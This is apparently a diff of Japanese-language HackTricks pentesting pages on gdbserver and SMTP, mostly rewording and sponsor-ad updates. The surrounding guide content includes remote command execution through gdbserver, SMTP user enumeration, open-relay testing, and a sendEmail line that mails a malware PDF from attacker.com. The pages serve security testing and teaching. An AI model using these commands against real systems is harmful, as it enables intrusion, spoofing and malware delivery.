@ -56,7 +58,7 @@ run
``` ```
### 任意のコマンドを実行する ### 任意のコマンドを実行する
別の方法として、**デバッガーに任意のコマンドを実行させるための** [**ここから取得したpythonカスタムスクリプト**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)があります。 別の方法として、**デバッガーに任意のコマンドを実行させる** [**ここから取得したpythonカスタムスクリプト**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)があります。
```bash ```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server. # Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345 target extended-remote 192.168.1.4:2345
@ -75,7 +77,7 @@ r
# Run the remote command, e.g. `ls`. # Run the remote command, e.g. `ls`.
rcmd ls rcmd ls
``` ```
まず最初に**このスクリプトをローカルに作成します** まず最初に**このスクリプトをローカルに作成してください**
{% code title="remote-cmd.py" %} {% code title="remote-cmd.py" %}
```python ```python
@ -198,7 +200,9 @@ RemoteCmd()
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すために、カスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -212,7 +216,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,15 +17,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンから報告までの機能を提供します。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **基本情報** ## **基本情報**
**シンプルメール転送プロトコルSMTP**は、**電子メールの送受信**に使用されるTCP/IPスイート内のプロトコルです。受信者側でメッセージをキューイングする際の制限のため、SMTPはしばしば**POP3またはIMAP**と一緒に使用されます。これらの追加プロトコルは、ユーザーがサーバーメールボックスにメッセージを保存し、定期的にダウンロードできるようにします。 **シンプルメール転送プロトコルSMTP**は、**電子メールの送受信**に使用されるTCP/IPスイート内のプロトコルです。受信者側でメッセージをキューイングする際の制限から、SMTPはしばしば**POP3またはIMAP**と一緒に使用されます。これらの追加プロトコルは、ユーザーがサーバーメールボックスにメッセージを保存し、定期的にダウンロードできるようにします。
実際には、**電子メールプログラム**が**電子メールを送信するためにSMTPを使用し、受信するためにPOP3またはIMAPを利用する**ことが一般的です。Unixベースのシステムでは、**sendmail**が電子メール目的で最も頻繁に使用されるSMTPサーバーとして際立っています。商業パッケージであるSendmailにはPOP3サーバーが含まれています。さらに、**Microsoft Exchange**はSMTPサーバーを提供し、POP3サポートを含めるオプションを提供します。 実際には、**電子メールプログラム**が**電子メールの送信にSMTPを使用し、受信にはPOP3またはIMAPを利用する**ことが一般的です。Unixベースのシステムでは、**sendmail**が電子メール目的で最も頻繁に使用されるSMTPサーバーとして際立っています。商業パッケージであるSendmailにはPOP3サーバーが含まれています。さらに、**Microsoft Exchange**はSMTPサーバーを提供し、POP3サポートを含めるオプションを提供します。
**デフォルトポート:** 25,465(ssl),587(ssl) **デフォルトポート:** 25,465(ssl),587(ssl)
``` ```
@ -34,11 +36,11 @@ PORT STATE SERVICE REASON VERSION
``` ```
### EMAIL Headers ### EMAIL Headers
もし**被害者にメールを送信させる機会がある**(例えば、ウェブページのコンタクトフォームを通じて)、それを行ってください。なぜなら、**メールのヘッダーを見被害者の内部トポロジーについて学ぶことができる**からです。 もし**被害者にメールを送信させる機会がある**(例えば、ウェブページのコンタクトフォームを通じて)、それを行ってください。なぜなら、**メールのヘッダーを見ることで被害者の内部トポロジーについて学ぶことができる**からです。
また、**存在しないアドレスにメールを送信しようとすることでSMTPサーバーからメールを取得する**こともできますサーバーは攻撃者にNDNメールを送信します。ただし、許可されたアドレスからメールを送信しSPFポリシーを確認、NDNメッセージを受信できることを確認してください。 また、**存在しないアドレスにメールを送信しようとすることでSMTPサーバーからメールを取得する**こともできますサーバーは攻撃者にNDNメールを送信します。ただし、許可されたアドレスからメールを送信しSPFポリシーを確認、NDNメッセージを受信できることを確認してください。
さらに、**異なる内容を送信して、ヘッダーにより興味深い情報を見つける**ことを試みるべきです。例えば: `X-Virus-Scanned: by av.domain.com`\ **異なる内容を送信することも試みるべきです。なぜなら、ヘッダーにより興味深い情報を見つけることができる**からです。例えば: `X-Virus-Scanned: by av.domain.com`\
EICARテストファイルを送信してください。\ EICARテストファイルを送信してください。\
**AV**を検出することで、**既知の脆弱性を悪用する**ことができるかもしれません。 **AV**を検出することで、**既知の脆弱性を悪用する**ことができるかもしれません。
@ -79,7 +81,7 @@ NTLM supported
``` ```
Or **automate** this with **nmap** plugin `smtp-ntlm-info.nse` Or **automate** this with **nmap** plugin `smtp-ntlm-info.nse`
### 内部サーバー名 - 情報漏洩 ### Internal server name - 情報漏洩
Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name: Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name:
``` ```
@ -169,17 +171,19 @@ Nmap: nmap --script smtp-enum-users <IP>
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンからレポーティングまで。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すために、カスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## DSNレポート ## DSNレポート
**配信状況通知レポート**: 組織に**無効なアドレス**に**メール**を送信すると、組織はそのアドレスが無効であることを通知し、**メールを返送します**。返送されたメールの**ヘッダー**には、レポートとやり取りしたメールサービスの**IPアドレス**やアンチウイルスソフトウェアの情報など、可能性のある**機密情報**が**含まれます**。 **配信状況通知レポート**: 組織に**無効なアドレス**に**メール**を送信すると、その組織はそのアドレスが無効であることを**あなたにメールを返送す**ことで通知します。返送されたメールの**ヘッダー**には、報告書とやり取りしたメールサービスの**IPアドレス**やアンチウイルスソフトウェアの情報など、可能性のある**機密情報**が**含まれます**。
## [コマンド](smtp-commands.md) ## [コマンド](smtp-commands.md)
### Linuxコンソールからメール送信 ### Linuxコンソールからメール送信する
```bash ```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used. Reading message body from STDIN because the '-m' option was not used.
@ -252,14 +256,14 @@ SMTPスムーグリングの脆弱性により、すべてのSMTP保護をバイ
## メールスプーフィング対策 ## メールスプーフィング対策
組織は、SMTPメッセージのスプーフィングの容易さから、**SPF**、**DKIM**、および**DMARC**を採用することで、無許可のメールが自分たちの名義で送信されるのを防ます。 組織は、SMTPメッセージのスプーフィングの容易さから、**SPF**、**DKIM**、および**DMARC**を採用することで、無許可のメールが自分たちの名義で送信されるのを防いでいます。
**これらの対策に関する完全なガイド**は[https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)で入手できます。 **これらの対策に関する完全なガイド**は[https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)で入手できます。
### SPF ### SPF
{% hint style="danger" %} {% hint style="danger" %}
SPF [は2014年に「非推奨」となりました](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)。これは、`_spf.domain.com`に**TXTレコード**を作成する代わりに、**同じ構文**を使用して`domain.com`に作成することを意味します。\ SPFは[2014年に「非推奨」となりました](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)。これは、`_spf.domain.com`に**TXTレコード**を作成する代わりに、**同じ構文**を使用して`domain.com`に作成することを意味します。\
さらに、以前のspfレコードを再利用するために、`"v=spf1 include:_spf.google.com ~all"`のようなものを見つけることは非常に一般的です。 さらに、以前のspfレコードを再利用するために、`"v=spf1 include:_spf.google.com ~all"`のようなものを見つけることは非常に一般的です。
{% endhint %} {% endhint %}
@ -267,31 +271,31 @@ SPF [は2014年に「非推奨」となりました](https://aws.amazon.com/prem
#### メカニズム #### メカニズム
[Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework)から: [ウィキペディア](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework)から:
| メカニズム | 説明 | | メカニズム | 説明 |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | 常に一致します。以前のメカニズムで一致しなかったすべてのIPに対して、`-all`のようなデフォルトの結果に使用されます。 | | ALL | 常に一致します。`-all`のようなデフォルトの結果に使用されます。 |
| A | ドメイン名に送信者のアドレスに解決できるアドレスレコードAまたはAAAAがある場合、一致します。 | | A | ドメイン名に送信者のアドレスに解決できるアドレスレコードAまたはAAAAがある場合、一致します。 |
| IP4 | 送信者が指定されたIPv4アドレス範囲にある場合、一致します。 | | IP4 | 送信者が指定されたIPv4アドレス範囲にある場合、一致します。 |
| IP6 | 送信者が指定されたIPv6アドレス範囲にある場合、一致します。 | | IP6 | 送信者が指定されたIPv6アドレス範囲にある場合、一致します。 |
| MX | ドメイン名に送信者のアドレスに解決するMXレコードがある場合、一致しますつまり、メールはドメインの受信メールサーバーの1つから来ます。 | | MX | ドメイン名に送信者のアドレスに解決するMXレコードがある場合、一致しますつまり、メールはドメインの受信メールサーバーの1つから来ます。 |
| PTR | クライアントのアドレスのドメイン名PTRレコードが指定されたドメインにあり、そのドメイン名がクライアントのアドレスに解決される場合(前方確認済み逆DNS、一致します。このメカニズムは推奨されず、可能な限り避けるべきです。 | | PTR | クライアントのアドレスのドメイン名PTRレコードが指定されたドメインにあり、そのドメイン名がクライアントのアドレスに解決する場合(前方確認された逆DNS、一致します。このメカニズムは推奨されず、可能な限り避けるべきです。 |
| EXISTS | 指定されたドメイン名が任意のアドレスに解決される場合、一致します(解決されるアドレスに関係なく)。これはめったに使用されません。SPFマクロ言語と組み合わせることで、DNSBLクエリのようなより複雑な一致を提供します。 | | EXISTS | 指定されたドメイン名が任意のアドレスに解決する場合、一致します(解決されるアドレスに関係なく)。これはほとんど使用されません。SPFマクロ言語と組み合わせることで、DNSBLクエリのようなより複雑な一致を提供します。 |
| INCLUDE | のドメインのポリシーを参照します。そのドメインのポリシーが通過すれば、このメカニズムも通過します。ただし、含まれたポリシーが失敗した場合、処理は続行されます。他のドメインのポリシーに完全に委任するには、リダイレクト拡張を使用する必要があります。 | | INCLUDE | のドメインのポリシーを参照します。そのドメインのポリシーが通過すれば、このメカニズムも通過します。ただし、含まれたポリシーが失敗した場合、処理は続行されます。他のドメインのポリシーに完全に委任するには、リダイレクト拡張を使用する必要があります。 |
| REDIRECT | <p>リダイレクトは、SPFポリシーをホストする別のドメイン名へのポインタであり、複数のドメインが同じSPFポリシーを共有できるようにします。これは、同じメールインフラストラクチャを共有する多数のドメインで作業する際に便利です。</p><p>リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。</p> | | REDIRECT | <p>リダイレクトは、SPFポリシーをホストする別のドメイン名へのポインタであり、複数のドメインが同じSPFポリシーを共有できるようにします。これは、同じメールインフラストラクチャを共有する多数のドメインで作業する際に便利です。</p><p>リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。</p> |
**クオリファイア**を特定することも可能で、**メカニズムが一致した場合に何をすべきかを示します**。デフォルトでは、**クオリファイア「+」**が使用されます(したがって、いずれかのメカニズムが一致する場合、それは許可されていることを意味します)。\ **クオリファイア**を特定することも可能で、**メカニズムが一致した場合に何をすべきかを示します**。デフォルトでは、**クオリファイア「+」**が使用されます(したがって、いずれかのメカニズムが一致する場合、それは許可されていることを意味します)。\
通常、**各SPFポリシーの最後に**、**\~all**または**-all**のようなものが記載されています。これは、**送信者がどのSPFポリシーにも一致しない場合、メールを信頼できない\~)または拒否する-)としてタグ付けすべきことを示します。** 通常、各SPFポリシーの**最後に**、**\~all**または**-all**のようなものが表示されます。これは、**送信者がどのSPFポリシーにも一致しない場合、メールを信頼できない\~)または拒否(-)としてタグ付けすべきであることを示します。**
#### クオリファイア #### クオリファイア
ポリシー内の各メカニズムは、意図された結果を定義するために4つのクオリファイアのいずれかで接頭辞を付けることができます ポリシー内の各メカニズムは、意図された結果を定義するために4つのクオリファイアのいずれかで接頭辞を付けることができます
* **`+`**: PASS結果に対応します。デフォルトで、メカニズムはこのクオリファイアを仮定し、`+mx`は`mx`と同等です。 * **`+`**: PASS結果に対応します。デフォルトで、メカニズムはこのクオリファイアを仮定し、`+mx`は`mx`と同等です。
* **`?`**: NEUTRAL結果を表し、NONE特定のポリシーなしと同様に扱われます。 * **`?`**: NEUTRAL結果を表し、NONE特定のポリシーなしと同様に扱われます。
* **`~`**: SOFTFAILを示し、NEUTRALとFAILの中間の立場を取ります。この結果を満たすメールは通常受け入れられますが、適切にマークされます。 * **`~`**: SOFTFAILを示し、NEUTRALとFAILの中間の立場を取ります。この結果を満たすメールは通常受け入れられますが、適切にマークされます。
* **`-`**: FAILを示し、メールは完全に拒否されるべきことを示唆します。 * **`-`**: FAILを示し、メールは完全に拒否されるべきであることを示唆します。
次の例では、**google.comのSPFポリシー**が示されています。最初のSPFポリシー内に異なるドメインからのSPFポリシーが含まれていることに注意してください 次の例では、**google.comのSPFポリシー**が示されています。最初のSPFポリシー内に異なるドメインからのSPFポリシーが含まれていることに注意してください
```shell-session ```shell-session
@ -318,9 +322,9 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1
### DKIM (DomainKeys Identified Mail) ### DKIM (DomainKeys Identified Mail)
DKIMは、外部のメール転送エージェントMTAによる検証を可能にするために、送信メールに署名するために利用されます。これは、DNSからドメインの公開鍵を取得することによって行われます。この公開鍵は、ドメインのTXTレコードにあります。この鍵にアクセスするには、セレクタとドメイン名の両方を知っている必要があります。 DKIMは、外部のメール転送エージェントMTAによる検証を可能にするために、送信メールに署名するために利用されます。これにより、ドメインの公開鍵をDNSから取得できます。この公開鍵は、ドメインのTXTレコードにあります。この鍵にアクセスするには、セレクタとドメイン名の両方を知っている必要があります。
例えば、鍵を要求するには、ドメイン名とセレクタが必要です。これらはメールヘッダーの`DKIM-Signature`に見つけることができます。例: `d=gmail.com;s=20120113` 例えば、鍵を要求するには、ドメイン名とセレクタが必要です。これらはメールヘッダーの`DKIM-Signature`に見つけることができます。例: `d=gmail.com;s=20120113`
この情報を取得するためのコマンドは次のようになります: この情報を取得するためのコマンドは次のようになります:
```bash ```bash
@ -346,7 +350,7 @@ _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-repor
dig _dmarc.bing.com txt | grep DMARC dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;" _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
``` ```
#### DMARC タグ #### DMARCタグ
| タグ名 | 目的 | サンプル | | タグ名 | 目的 | サンプル |
| -------- | --------------------------------------------- | ------------------------------- | | -------- | --------------------------------------------- | ------------------------------- |
@ -361,15 +365,15 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **サブドメインについては?** ### **サブドメインについては?**
**こちら** [**から**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)****\ **こちらから** [**参照**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
メールを送信する各サブドメインに対して、別々のSPFレコードを持つ必要があります。\ メールを送信する各サブドメインに対して、別々のSPFレコードを持つ必要があります。\
以下は、元々openspf.orgに投稿されたもので、こういった情報のための素晴らしいリソースでした。 以下は、元々openspf.orgに投稿されたもので、こういった情報のための素晴らしいリソースでした。
> デーモンの質問: サブドメインについては? > デーモンの質問: サブドメインについては?
> >
> pielovers.demon.co.ukからメールを受け取った場合、pieloversのSPFデータがない場合、1つ上のレベルに戻ってdemon.co.ukのSPFをテストすべきですか いいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っている可能性があります。Demonのポリシーがデフォルトで全ての顧客に適用されるのは理にかなりません。Demonがそれを望む場合、各サブドメインのためにSPFレコードを設定できます。 > pielovers.demon.co.ukからメールを受け取った場合、pieloversのSPFデータがない場合、1つ上のレベルに戻ってdemon.co.ukのSPFをテストすべきですか いいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っている可能性があります。Demonのポリシーがすべての顧客にデフォルトで適用されるのは理にかなっていません。Demonがそれを望む場合、各サブドメインのためにSPFレコードを設定できます。
> >
> したがって、SPF発行者へのアドバイスは次のとおりです: AまたはMXレコードを持つ各サブドメインまたはホスト名に対してSPFレコードを追加するべきです。 > したがって、SPF発行者へのアドバイスは次のとおりです: AまたはMXレコードを持つ各サブドメインまたはホスト名に対してSPFレコードを追加する必要があります。
> >
> ワイルドカードAまたはMXレコードを持つサイトは、次の形式のワイルドカードSPFレコードも持つべきです: \* IN TXT "v=spf1 -all" > ワイルドカードAまたはMXレコードを持つサイトは、次の形式のワイルドカードSPFレコードも持つべきです: \* IN TXT "v=spf1 -all"
@ -377,13 +381,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **オープンリレー** ### **オープンリレー**
メールが送信される際、スパムとしてフラグが立てられないようにすることが重要です。これは、**受信者によって信頼されるリレーサーバー**を使用することで達成されることが多いです。しかし、一般的な課題は、管理者がどの**IP範囲が許可されるべきかを完全に理解していない**ことです。この理解の欠如は、SMTPサーバーの設定におけるミスを引き起こし、セキュリティ評価で頻繁に指摘されるリスクとなります。 メールが送信される際、スパムとしてフラグが立てられないようにすることが重要です。これは、**受信者によって信頼されるリレーサーバー**を使用することで達成されることが多いです。しかし、一般的な課題は、管理者がどの**IP範囲が許可されるべきかを完全に理解していないこと**です。この理解の欠如は、SMTPサーバーの設定ミスにつながる可能性があり、セキュリティ評価で頻繁に指摘されるリスクです。
特に潜在的または進行中のクライアントとの通信に関して、メール配信の問題を回避するために、一部の管理者が使用する回避策は、**任意のIPアドレスからの接続を許可すること**です。これは、SMTPサーバーの`mynetworks`パラメータをすべてのIPアドレスを受け入れるように設定することで行われます。 特に潜在的または進行中のクライアントとの通信に関して、メール配信の問題を回避するために、一部の管理者が使用する回避策は、**任意のIPアドレスからの接続を許可すること**です。これは、SMTPサーバーの`mynetworks`パラメータをすべてのIPアドレスを受け入れるように設定することで行われます。
```bash ```bash
mynetworks = 0.0.0.0/0 mynetworks = 0.0.0.0/0
``` ```
メールサーバーがオープンリレーであるかどうかを確認するために(これは外部ソースからのメールを転送できることを意味します)、`nmap`ツールが一般的に使用されます。これをテストするために設計された特定のスクリプトが含まれています。`nmap`を使用してポート25でサーバー例えば、IP 10.10.10.10)に対して詳細スキャンを実行するコマンドは次のとおりです: メールサーバーがオープンリレーであるかどうかを確認するために(これは外部ソースからのメールを転送できることを意味します)、`nmap`ツールが一般的に使用されます。これをテストするために設計された特定のスクリプトが含まれています。サーバー例えば、IP 10.10.10.10でポート25を使用して`nmap`で詳細スキャンを実行するためのコマンドは次のとおりです:
```bash ```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v nmap -p25 --script smtp-open-relay 10.10.10.10 -v
``` ```
@ -508,7 +512,7 @@ s.sendmail(sender, [destination], msg_data)
* リンク操作技術 * リンク操作技術
* 疑わしい(一般的でない)添付ファイル * 疑わしい(一般的でない)添付ファイル
* 壊れたメールコンテンツ * 壊れたメールコンテンツ
* メールヘッダーと異なる値の使用 * メールヘッダーの値と異なる値の使用
* 有効で信頼できるSSL証明書の存在 * 有効で信頼できるSSL証明書の存在
* ウェブコンテンツフィルタリングサイトへのページの提出 * ウェブコンテンツフィルタリングサイトへのページの提出
@ -520,7 +524,7 @@ s.sendmail(sender, [destination], msg_data)
### Postfix ### Postfix
通常、インストールされている場合、`/etc/postfix/master.cf` には、例えば新しいメールがユーザーによって受信されたときに実行される**スクリプト**が含まれています。例えば、`flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` という行は、ユーザーmarkが新しいメールを受信した場合に`/etc/postfix/filtering`が実行されることを意味します。 通常、インストールされている場合、`/etc/postfix/master.cf` には **ユーザーによって新しいメールが受信されたときに実行されるスクリプト** が含まれています。例えば、`flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` という行は、ユーザーmarkが新しいメールを受信した場合に `/etc/postfix/filtering` が実行されることを意味します。
Other config files: Other config files:
``` ```
@ -585,7 +589,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らに深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すために、カスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -599,7 +605,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,15 +1,15 @@
# SMTP - コマンド # SMTP - コマンド
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
@ -17,14 +17,16 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
